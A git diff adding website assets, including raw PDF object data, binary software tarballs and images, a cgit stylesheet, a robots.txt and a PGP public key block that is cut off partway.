+~ۦ#W18Rr49I^wyd)y.YBÙA}89<<J!,|өF摃ٛAO%Sȓ\6Xs'}>do ޴g'=̢~<I PWhwJ2+H:1FFҘ-S:H";*<<g<F$FK~\Qu<-mՖ6dk2D" (%llc1V K!!gYY'M5z䶠w5{;G+3x`J0!9K !!�ƻ5&9.1IaHJf+z'r$ t a#eVuWbG`bdBφK�;*wSnB؝/,^ I p!(p! o6Ι3(k 7`YweKYl]588e?ڎd7h-[4jIOH/s$7jh{`$/3v9d{'2q,qϱŸ5ʋoИù^3kQ%V㡦/rpee;{m,kѲ,+g%X%v戓dFв. +m{.ls>@o$ĊKHL|]|݁~{k:gJ؊";k,xpOv .İ8&'rH`c鼾l%pz`Cu\ZM� + +endstream +endobj +4 0 obj +<< +/Type /Font +/Subtype /TrueType +/FirstChar 32 +/LastChar 90 +/Widths [250 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 +0 722 0 722 722 667 611 0 778 389 500 0 667 944 722 778 +611 0 722 556 667 722 0 0 0 0 667 ] +/Encoding /WinAnsiEncoding +/BaseFont /Times-Bold +/FontDescriptor 24 0 R +>> +endobj +5 0 obj +<< +/Type /Font +/Subtype /TrueType +/FirstChar 45 +/LastChar 122 +/Widths [600 600 600 0 0 0 0 0 0 0 0 0 0 0 0 0 +0 0 0 0 600 0 0 0 600 600 0 0 600 600 0 600 +0 0 0 600 0 600 0 0 0 0 0 600 0 600 0 0 +0 0 600 0 600 600 600 600 600 600 0 0 600 600 0 600 +600 600 600 600 0 600 600 600 600 600 0 0 0 600 ] +/Encoding /WinAnsiEncoding +/BaseFont /Courier +/FontDescriptor 25 0 R +>> +endobj +6 0 obj +<< +/Type /Font +/Subtype /TrueType +/FirstChar 32 +/LastChar 151 +/Widths [250 333 0 0 0 0 0 0 333 333 0 0 250 333 250 278 +500 500 500 500 0 500 0 0 500 0 278 278 0 0 0 0 +921 722 667 667 722 611 556 0 0 333 389 0 611 0 722 722 +556 0 667 556 611 722 722 0 722 722 611 0 0 0 0 500 +0 444 500 444 500 444 333 500 500 278 278 500 278 778 500 500 +500 500 333 389 278 500 500 722 500 500 444 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 +0 0 333 444 444 0 0 1000 ] +/Encoding /WinAnsiEncoding +/BaseFont /Times-Roman +/FontDescriptor 26 0 R +>> +endobj +7 0 obj +<< +/Type /Font +/Subtype /TrueType +/FirstChar 222 +/LastChar 223 +/Widths [556 556 ] +/Encoding /MacRomanEncoding +/BaseFont /Times-Roman +/FontDescriptor 27 0 R +>> +endobj +17 0 obj +<< +/Type /Font +/Subtype /Type0 +/BaseFont /JGDKHH+Courier-Bold +/Encoding /Identity-H +/DescendantFonts [ 35 0 R ] +/ToUnicode 36 0 R +>> +endobj +35 0 obj +<< +/Type /Font +/Subtype /CIDFontType2 +/BaseFont /JGDKHH+Courier-Bold +/FontDescriptor 22 0 R +/CIDSystemInfo<< +/Registry (Adobe) +/Ordering (Identity) +/Supplement 0 +>> +/DW 1000 +/W [ +233 [600] +] +>> +endobj +8 0 obj +<< +/Type /Font +/Subtype /TrueType +/FirstChar 32 +/LastChar 146 +/Widths [600 0 0 0 0 0 0 0 0 0 0 0 0 600 0 0 +0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 +0 600 0 600 600 600 0 0 600 600 600 0 600 600 600 600 +600 0 600 600 600 0 600 0 0 0 600 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 +0 0 600 ] +/Encoding /WinAnsiEncoding +/BaseFont /JGDKIL+Courier-Bold +/FontDescriptor 28 0 R +>> +endobj +9 0 obj +<< +/Type /Font +/Subtype /TrueType +/FirstChar 32 +/LastChar 125 +/Widths [250 0 0 0 500 0 0 0 0 0 0 0 0 333 250 278 +0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 611 0 0 0 0 0 0 0 0 667 722 +0 0 0 500 0 0 0 0 0 556 0 0 0 0 0 500 +0 500 500 444 500 444 278 500 500 278 278 0 278 722 500 500 +500 0 389 389 278 500 444 667 0 0 389 400 0 400 ] +/Encoding /WinAnsiEncoding +/BaseFont /Times-Italic +/FontDescriptor 30 0 R +>> +endobj +10 0 obj +<< +/Type /Font +/Subtype /TrueType +/FirstChar 223 +/LastChar 223 +/Widths [500 ] +/Encoding /MacRomanEncoding +/BaseFont /Times-Italic +/FontDescriptor 31 0 R +>> +endobj +11 0 obj +<< +/Type /Font +/Subtype /TrueType +/FirstChar 97 +/LastChar 116 +/Widths [600 0 0 0 600 0 0 600 0 0 0 0 600 600 600 0 +0 0 600 600 ] +/Encoding /WinAnsiEncoding +/BaseFont /Courier-Oblique +/FontDescriptor 32 0 R +>> +endobj +21 0 obj +<< +/Type /Font +/Subtype /Type0 +/BaseFont /JGDKKG+Symbol +/Encoding /Identity-H +/DescendantFonts [ 37 0 R ] +/ToUnicode 38 0 R +>> +endobj +37 0 obj +<< +/Type /Font +/Subtype /CIDFontType2 +/BaseFont /JGDKKG+Symbol +/FontDescriptor 33 0 R +/CIDSystemInfo<< +/Registry (Adobe) +/Ordering (Identity) +/Supplement 0 +>> +/DW 1000 +/W [ +156 157 329 +] +>> +endobj +36 0 obj +<< +/Filter /FlateDecode +/Length 217 +>> +stream +HTPN0 A i#.wK;--п'C g?gSwEMFGq+NV`{Wu�D;=4iDa^GolM yV_ ~pFPAۂQEd!T][\6Ț&= +??X|kǶRjE7}9Y,#ق#&r_�)k$ +endstream +endobj +38 0 obj +<< +/Filter /FlateDecode +/Length 229 +>> +stream +HTPn >nځuJR^rV-iC~@N;`gc{ju Z:nD=�<u8n4i_Gd_qB)U75!׀ +FRnDhjet2"[-AM^ݪrݖ^rb+ +>�%Unx +endstream +endobj +1 0 obj +<< +/Type /Page +/Parent 13 0 R +/Resources 3 0 R +/Contents 2 0 R +>> +endobj +14 0 obj +<< +/Type /Page +/Parent 13 0 R +/Resources 16 0 R +/Contents 15 0 R +>> +endobj +18 0 obj +<< +/Type /Page +/Parent 13 0 R +/Resources 20 0 R +/Contents 19 0 R +>> +endobj +39 0 obj +<< +/S /D +>> +endobj +40 0 obj +<< +/Nums [0 39 0 R ] +>> +endobj +13 0 obj +<< +/Type /Pages +/Kids [1 0 R 14 0 R 18 0 R] +/Count 3 +/MediaBox [0 0 612 792] +>> +endobj +41 0 obj +<< +/CreationDate (D:20130420011705+02'00') +/ModDate (D:20130420011705+02'00') +/Producer (Apple pstopdf) +>> +endobj +42 0 obj +<< +/Type /Catalog +/Pages 13 0 R +/PageLabels 40 0 R +>> +endobj +xref +0 43 +0000000000 65535 f +0000088669 00000 n +0000000016 00000 n +0000005503 00000 n +0000084665 00000 n +0000084986 00000 n +0000085372 00000 n +0000085920 00000 n +0000086453 00000 n +0000086902 00000 n +0000087330 00000 n +0000087502 00000 n +0000012931 00000 n +0000088986 00000 n +0000088750 00000 n +0000005681 00000 n +0000011079 00000 n +0000086094 00000 n +0000088834 00000 n +0000011244 00000 n +0000012799 00000 n +0000087728 00000 n +0000013072 00000 n +0000013299 00000 n +0000037444 00000 n +0000037646 00000 n +0000037837 00000 n +0000038034 00000 n +0000038231 00000 n +0000038458 00000 n +0000065911 00000 n +0000066111 00000 n +0000066311 00000 n +0000066512 00000 n +0000066702 00000 n +0000086243 00000 n +0000088077 00000 n +0000087871 00000 n +0000088367 00000 n +0000088918 00000 n +0000088946 00000 n +0000089082 00000 n +0000089205 00000 n +trailer +<< +/Size 43 +/Root 42 0 R +/Info 41 0 R +/ID [<c832f57a1f866248541a8cd118865883><c832f57a1f866248541a8cd118865883>] +>> +startxref +89275 +%%EOF diff --git a/files/arts/software/jaildaemon/jaildaemon-0.1.tar.bz2 b/files/arts/software/jaildaemon/jaildaemon-0.1.tar.bz2 new file mode 100644 index 0000000..f2360d5 Binary files /dev/null and b/files/arts/software/jaildaemon/jaildaemon-0.1.tar.bz2 differ diff --git a/files/arts/software/jaildaemon/jaildaemon-0.2.1.tar.bz2 b/files/arts/software/jaildaemon/jaildaemon-0.2.1.tar.bz2 new file mode 100644 index 0000000..b61a624 Binary files /dev/null and b/files/arts/software/jaildaemon/jaildaemon-0.2.1.tar.bz2 differ diff --git a/files/arts/software/jaildaemon/jaildaemon-0.2.tar.bz2 b/files/arts/software/jaildaemon/jaildaemon-0.2.tar.bz2 new file mode 100644 index 0000000..03b51a2 Binary files /dev/null and b/files/arts/software/jaildaemon/jaildaemon-0.2.tar.bz2 differ diff --git a/files/arts/software/minimunin/minimunin-0.1.tar.bz2 b/files/arts/software/minimunin/minimunin-0.1.tar.bz2 new file mode 100644 index 0000000..7342dd4 Binary files /dev/null and b/files/arts/software/minimunin/minimunin-0.1.tar.bz2 differ diff --git a/files/arts/software/minimunin/minimunin-0.2.tar.bz2 b/files/arts/software/minimunin/minimunin-0.2.tar.bz2 new file mode 100644 index 0000000..cc25eb7 Binary files /dev/null and b/files/arts/software/minimunin/minimunin-0.2.tar.bz2 differ diff --git a/files/arts/software/opentracker/opentracker_beta3.png b/files/arts/software/opentracker/opentracker_beta3.png new file mode 100644 index 0000000..7014d3f Binary files /dev/null and b/files/arts/software/opentracker/opentracker_beta3.png differ diff --git a/files/arts/software/timestretch/timestretch_1.png b/files/arts/software/timestretch/timestretch_1.png new file mode 100644 index 0000000..622382d Binary files /dev/null and b/files/arts/software/timestretch/timestretch_1.png differ diff --git a/files/arts/software/timestretch/timestretch_2.png b/files/arts/software/timestretch/timestretch_2.png new file mode 100644 index 0000000..405c268 Binary files /dev/null and b/files/arts/software/timestretch/timestretch_2.png differ diff --git a/files/cgit/cgit.cgi b/files/cgit/cgit.cgi new file mode 100755 index 0000000..c52093c Binary files /dev/null and b/files/cgit/cgit.cgi differ diff --git a/files/cgit/cgit.css b/files/cgit/cgit.css new file mode 100644 index 0000000..71b0b9b --- /dev/null +++ b/files/cgit/cgit.css @@ -0,0 +1,804 @@ +div#cgit { + padding: 0em; + margin: 0em; + font-family: sans-serif; + font-size: 10pt; + color: #333; + background: white; + padding: 4px; +} + +div#cgit a { + color: blue; + text-decoration: none; +} + +div#cgit a:hover { + text-decoration: underline; +} + +div#cgit table { + border-collapse: collapse; +} + +div#cgit table#header { + width: 100%; + margin-bottom: 1em; +} + +div#cgit table#header td.logo { + width: 96px; + vertical-align: top; +} + +div#cgit table#header td.main { + font-size: 250%; + padding-left: 10px; + white-space: nowrap; +} + +div#cgit table#header td.main a { + color: #000; +} + +div#cgit table#header td.form { + text-align: right; + vertical-align: bottom; + padding-right: 1em; + padding-bottom: 2px; + white-space: nowrap; +} + +div#cgit table#header td.form form, +div#cgit table#header td.form input, +div#cgit table#header td.form select { + font-size: 90%; +} + +div#cgit table#header td.sub { + color: #777; + border-top: solid 1px #ccc; + padding-left: 10px; +} + +div#cgit table.tabs { + border-bottom: solid 3px #ccc; + border-collapse: collapse; + margin-top: 2em; + margin-bottom: 0px; + width: 100%; +} + +div#cgit table.tabs td { + padding: 0px 1em; + vertical-align: bottom; +} + +div#cgit table.tabs td a { + padding: 2px 0.75em; + color: #777; + font-size: 110%; +} + +div#cgit table.tabs td a.active { + color: #000; + background-color: #ccc; +} + +div#cgit table.tabs td.form { + text-align: right; +} + +div#cgit table.tabs td.form form { + padding-bottom: 2px; + font-size: 90%; + white-space: nowrap; +} + +div#cgit table.tabs td.form input, +div#cgit table.tabs td.form select { + font-size: 90%; +} + +div#cgit div.path { + margin: 0px; + padding: 5px 2em 2px 2em; + color: #000; + background-color: #eee; +} + +div#cgit div.content { + margin: 0px; + padding: 2em; + border-bottom: solid 3px #ccc; +} + + +div#cgit table.list { + width: 100%; + border: none; + border-collapse: collapse; +} + +div#cgit table.list tr { + background: white; +} + +div#cgit table.list tr.logheader { + background: #eee; +} + +div#cgit table.list tr:hover { + background: #eee; +} + +div#cgit table.list tr.nohover:hover { + background: white; +} + +div#cgit table.list th { + font-weight: bold; + /* color: #888; + border-top: dashed 1px #888; + border-bottom: dashed 1px #888; + */ + padding: 0.1em 0.5em 0.05em 0.5em; + vertical-align: baseline; +} + +div#cgit table.list td { + border: none; + padding: 0.1em 0.5em 0.1em 0.5em; +} + +div#cgit table.list td.commitgraph { + font-family: monospace; + white-space: pre; +} + +div#cgit table.list td.commitgraph .column1 { + color: #a00; +} + +div#cgit table.list td.commitgraph .column2 { + color: #0a0; +} + +div#cgit table.list td.commitgraph .column3 { + color: #aa0; +} + +div#cgit table.list td.commitgraph .column4 { + color: #00a; +} + +div#cgit table.list td.commitgraph .column5 { + color: #a0a; +} + +div#cgit table.list td.commitgraph .column6 { + color: #0aa; +} + +div#cgit table.list td.logsubject { + font-family: monospace; + font-weight: bold; +} + +div#cgit table.list td.logmsg { + font-family: monospace; + white-space: pre; + padding: 0 0.5em; +} + +div#cgit table.list td a { + color: black; +} + +div#cgit table.list td a.ls-dir { + font-weight: bold; + color: #00f; +} + +div#cgit table.list td a:hover { + color: #00f; +} + +div#cgit img { + border: none; +} + +div#cgit input#switch-btn { + margin: 2px 0px 0px 0px; +} + +div#cgit td#sidebar input.txt { + width: 100%; + margin: 2px 0px 0px 0px; +} + +div#cgit table#grid { + margin: 0px; +} + +div#cgit td#content { + vertical-align: top; + padding: 1em 2em 1em 1em; + border: none; +} + +div#cgit div#summary { + vertical-align: top; + margin-bottom: 1em; +} + +div#cgit table#downloads { + float: right; + border-collapse: collapse; + border: solid 1px #777; + margin-left: 0.5em; + margin-bottom: 0.5em; +} + +div#cgit table#downloads th { + background-color: #ccc; +} + +div#cgit div#blob { + border: solid 1px black; +} + +div#cgit div.error { + color: red; + font-weight: bold; + margin: 1em 2em; +} + +div#cgit a.ls-blob, div#cgit a.ls-dir, div#cgit a.ls-mod { + font-family: monospace; +} + +div#cgit td.ls-size { + text-align: right; + font-family: monospace; + width: 10em; +} + +div#cgit td.ls-mode { + font-family: monospace; + width: 10em; +} + +div#cgit table.blob { + margin-top: 0.5em; + border-top: solid 1px black; +} + +div#cgit table.blob td.lines { + margin: 0; padding: 0 0 0 0.5em; + vertical-align: top; + color: black; +} + +div#cgit table.blob td.linenumbers { + margin: 0; padding: 0 0.5em 0 0.5em; + vertical-align: top; + text-align: right; + border-right: 1px solid gray; +} + +div#cgit table.blob pre { + padding: 0; margin: 0; +} + +div#cgit table.blob td.linenumbers a, +div#cgit table.ssdiff td.lineno a { + color: gray; + text-align: right; + text-decoration: none; +} + +div#cgit table.blob td.linenumbers a:hover, +div#cgit table.ssdiff td.lineno a:hover { + color: black; +} + +div#cgit table.bin-blob { + margin-top: 0.5em; + border: solid 1px black; +} + +div#cgit table.bin-blob th { + font-family: monospace; + white-space: pre; + border: solid 1px #777; + padding: 0.5em 1em; +} + +div#cgit table.bin-blob td { + font-family: monospace; + white-space: pre; + border-left: solid 1px #777; + padding: 0em 1em; +} + +div#cgit table.nowrap td { + white-space: nowrap; +} + +div#cgit table.commit-info { + border-collapse: collapse; + margin-top: 1.5em; +} + +div#cgit div.cgit-panel { + float: right; + margin-top: 1.5em; +} + +div#cgit div.cgit-panel table { + border-collapse: collapse; + border: solid 1px #aaa; + background-color: #eee; +} + +div#cgit div.cgit-panel th { + text-align: center; +} + +div#cgit div.cgit-panel td { + padding: 0.25em 0.5em; +} + +div#cgit div.cgit-panel td.label { + padding-right: 0.5em; +} + +div#cgit div.cgit-panel td.ctrl { + padding-left: 0.5em; +} + +div#cgit table.commit-info th { + text-align: left; + font-weight: normal; + padding: 0.1em 1em 0.1em 0.1em; + vertical-align: top; +} + +div#cgit table.commit-info td { + font-weight: normal; + padding: 0.1em 1em 0.1em 0.1em; +} + +div#cgit div.commit-subject { + font-weight: bold; + font-size: 125%; + margin: 1.5em 0em 0.5em 0em; + padding: 0em; +} + +div#cgit div.commit-msg { + white-space: pre; + font-family: monospace; +} + +div#cgit div.notes-header { + font-weight: bold; + padding-top: 1.5em; +} + +div#cgit div.notes { + white-space: pre; + font-family: monospace; + border: solid 1px #ee9; + background-color: #ffd; + padding: 0.3em 2em 0.3em 1em; + float: left; +} + +div#cgit div.notes-footer { + clear: left; +} + +div#cgit div.diffstat-header { + font-weight: bold; + padding-top: 1.5em; +} + +div#cgit table.diffstat { + border-collapse: collapse; + border: solid 1px #aaa; + background-color: #eee; +} + +div#cgit table.diffstat th { + font-weight: normal; + text-align: left; + text-decoration: underline; + padding: 0.1em 1em 0.1em 0.1em; + font-size: 100%; +} + +div#cgit table.diffstat td { + padding: 0.2em 0.2em 0.1em 0.1em; + font-size: 100%; + border: none; +} + +div#cgit table.diffstat td.mode { + white-space: nowrap; +} + +div#cgit table.diffstat td span.modechange { + padding-left: 1em; + color: red; +} + +div#cgit table.diffstat td.add a { + color: green; +} + +div#cgit table.diffstat td.del a { + color: red; +} + +div#cgit table.diffstat td.upd a { + color: blue; +} + +div#cgit table.diffstat td.graph { + width: 500px; + vertical-align: middle; +} + +div#cgit table.diffstat td.graph table { + border: none; +} + +div#cgit table.diffstat td.graph td { + padding: 0px; + border: 0px; + height: 7pt; +} + +div#cgit table.diffstat td.graph td.add { + background-color: #5c5; +} + +div#cgit table.diffstat td.graph td.rem { + background-color: #c55; +} + +div#cgit div.diffstat-summary { + color: #888; + padding-top: 0.5em; +} + +div#cgit table.diff { + width: 100%; +} + +div#cgit table.diff td { + font-family: monospace; + white-space: pre; +} + +div#cgit table.diff td div.head { + font-weight: bold; + margin-top: 1em; + color: black; +} + +div#cgit table.diff td div.hunk { + color: #009; +} + +div#cgit table.diff td div.add { + color: green; +} + +div#cgit table.diff td div.del { + color: red; +} + +div#cgit .sha1 { + font-family: monospace; + font-size: 90%; +} + +div#cgit .left { + text-align: left; +} + +div#cgit .right { + text-align: right; +} + +div#cgit table.list td.reposection { + font-style: italic; + color: #888; +} + +div#cgit a.button { + font-size: 80%; + padding: 0em 0.5em; +} + +div#cgit a.primary { + font-size: 100%; +} + +div#cgit a.secondary { + font-size: 90%; +} + +div#cgit td.toplevel-repo { + +} + +div#cgit table.list td.sublevel-repo { + padding-left: 1.5em; +} + +div#cgit ul.pager { + list-style-type: none; + text-align: center; + margin: 1em 0em 0em 0em; + padding: 0; +} + +div#cgit ul.pager li { + display: inline-block; + margin: 0.25em 0.5em; +} + +div#cgit ul.pager a { + color: #777; +} + +div#cgit ul.pager .current { + font-weight: bold; +} + +div#cgit span.age-mins { + font-weight: bold; + color: #080; +} + +div#cgit span.age-hours { + color: #080; +} + +div#cgit span.age-days { + color: #040; +} + +div#cgit span.age-weeks { + color: #444; +} + +div#cgit span.age-months { + color: #888; +} + +div#cgit span.age-years { + color: #bbb; +} +div#cgit div.footer { + margin-top: 0.5em; + text-align: center; + font-size: 80%; + color: #ccc; +} +div#cgit a.branch-deco { + color: #000; + margin: 0px 0.5em; + padding: 0px 0.25em; + background-color: #88ff88; + border: solid 1px #007700; +} +div#cgit a.tag-deco { + color: #000; + margin: 0px 0.5em; + padding: 0px 0.25em; + background-color: #ffff88; + border: solid 1px #777700; +} +div#cgit a.remote-deco { + color: #000; + margin: 0px 0.5em; + padding: 0px 0.25em; + background-color: #ccccff; + border: solid 1px #000077; +} +div#cgit a.deco { + color: #000; + margin: 0px 0.5em; + padding: 0px 0.25em; + background-color: #ff8888; + border: solid 1px #770000; +} + +div#cgit div.commit-subject a.branch-deco, +div#cgit div.commit-subject a.tag-deco, +div#cgit div.commit-subject a.remote-deco, +div#cgit div.commit-subject a.deco { + margin-left: 1em; + font-size: 75%; +} + +div#cgit table.stats { + border: solid 1px black; + border-collapse: collapse; +} + +div#cgit table.stats th { + text-align: left; + padding: 1px 0.5em; + background-color: #eee; + border: solid 1px black; +} + +div#cgit table.stats td { + text-align: right; + padding: 1px 0.5em; + border: solid 1px black; +} + +div#cgit table.stats td.total { + font-weight: bold; + text-align: left; +} + +div#cgit table.stats td.sum { + color: #c00; + font-weight: bold; +/* background-color: #eee; */ +} + +div#cgit table.stats td.left { + text-align: left; +} + +div#cgit table.vgraph { + border-collapse: separate; + border: solid 1px black; + height: 200px; +} + +div#cgit table.vgraph th { + background-color: #eee; + font-weight: bold; + border: solid 1px white; + padding: 1px 0.5em; +} + +div#cgit table.vgraph td { + vertical-align: bottom; + padding: 0px 10px; +} + +div#cgit table.vgraph div.bar { + background-color: #eee; +} + +div#cgit table.hgraph { + border: solid 1px black; + width: 800px; +} + +div#cgit table.hgraph th { + background-color: #eee; + font-weight: bold; + border: solid 1px black; + padding: 1px 0.5em; +} + +div#cgit table.hgraph td { + vertical-align: middle; + padding: 2px 2px; +} + +div#cgit table.hgraph div.bar { + background-color: #eee; + height: 1em; +} + +div#cgit table.ssdiff { + width: 100%; +} + +div#cgit table.ssdiff td { + font-size: 75%; + font-family: monospace; + white-space: pre; + padding: 1px 4px 1px 4px; + border-left: solid 1px #aaa; + border-right: solid 1px #aaa; +} + +div#cgit table.ssdiff td.add { + color: black; + background: #cfc; + min-width: 50%; +} + +div#cgit table.ssdiff td.add_dark { + color: black; + background: #aca; + min-width: 50%; +} + +div#cgit table.ssdiff span.add { + background: #cfc; + font-weight: bold; +} + +div#cgit table.ssdiff td.del { + color: black; + background: #fcc; + min-width: 50%; +} + +div#cgit table.ssdiff td.del_dark { + color: black; + background: #caa; + min-width: 50%; +} + +div#cgit table.ssdiff span.del { + background: #fcc; + font-weight: bold; +} + +div#cgit table.ssdiff td.changed { + color: black; + background: #ffc; + min-width: 50%; +} + +div#cgit table.ssdiff td.changed_dark { + color: black; + background: #cca; + min-width: 50%; +} + +div#cgit table.ssdiff td.lineno { + color: black; + background: #eee; + text-align: right; + width: 3em; + min-width: 3em; +} + +div#cgit table.ssdiff td.hunk { + color: black; + background: #ccf; + border-top: solid 1px #aaa; + border-bottom: solid 1px #aaa; +} + +div#cgit table.ssdiff td.head { + border-top: solid 1px #aaa; + border-bottom: solid 1px #aaa; +} + +div#cgit table.ssdiff td.head div.head { + font-weight: bold; + color: black; +} + +div#cgit table.ssdiff td.foot { + border-top: solid 1px #aaa; + border-left: none; + border-right: none; + border-bottom: none; +} + +div#cgit table.ssdiff td.space { + border: none; +} + +div#cgit table.ssdiff td.space div { + min-height: 3em; +} diff --git a/files/cgit/cgit.png b/files/cgit/cgit.png new file mode 100644 index 0000000..0bdf5a7 Binary files /dev/null and b/files/cgit/cgit.png differ diff --git a/files/cgit/favicon.ico b/files/cgit/favicon.ico new file mode 100644 index 0000000..56ff593 Binary files /dev/null and b/files/cgit/favicon.ico differ diff --git a/files/cgit/robots.txt b/files/cgit/robots.txt new file mode 100644 index 0000000..4ce948f --- /dev/null +++ b/files/cgit/robots.txt @@ -0,0 +1,3 @@ +User-agent: * +Disallow: /*/snapshot/* +Allow: / diff --git a/files/epost.pdf b/files/epost.pdf new file mode 100644 index 0000000..9cf01d1 Binary files /dev/null and b/files/epost.pdf differ diff --git a/files/erdgeist.org.tbz b/files/erdgeist.org.tbz new file mode 100644 index 0000000..7708213 Binary files /dev/null and b/files/erdgeist.org.tbz differ diff --git a/files/fnord/news/Studio-RT.JPG b/files/fnord/news/Studio-RT.JPG new file mode 100644 index 0000000..e74c610 Binary files /dev/null and b/files/fnord/news/Studio-RT.JPG differ diff --git a/files/fnord/news/speeding.jpg b/files/fnord/news/speeding.jpg new file mode 100644 index 0000000..90bd3e7 Binary files /dev/null and b/files/fnord/news/speeding.jpg differ diff --git a/files/hello-world.jpg b/files/hello-world.jpg new file mode 100644 index 0000000..2e53336 Binary files /dev/null and b/files/hello-world.jpg differ diff --git a/files/key.asc b/files/key.asc new file mode 100644 index 0000000..305916e --- /dev/null +++ b/files/key.asc @@ -0,0 +1,235 @@ +-----BEGIN PGP PUBLIC KEY BLOCK----- +Version: GnuPG v1.4.9 (Darwin) + +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 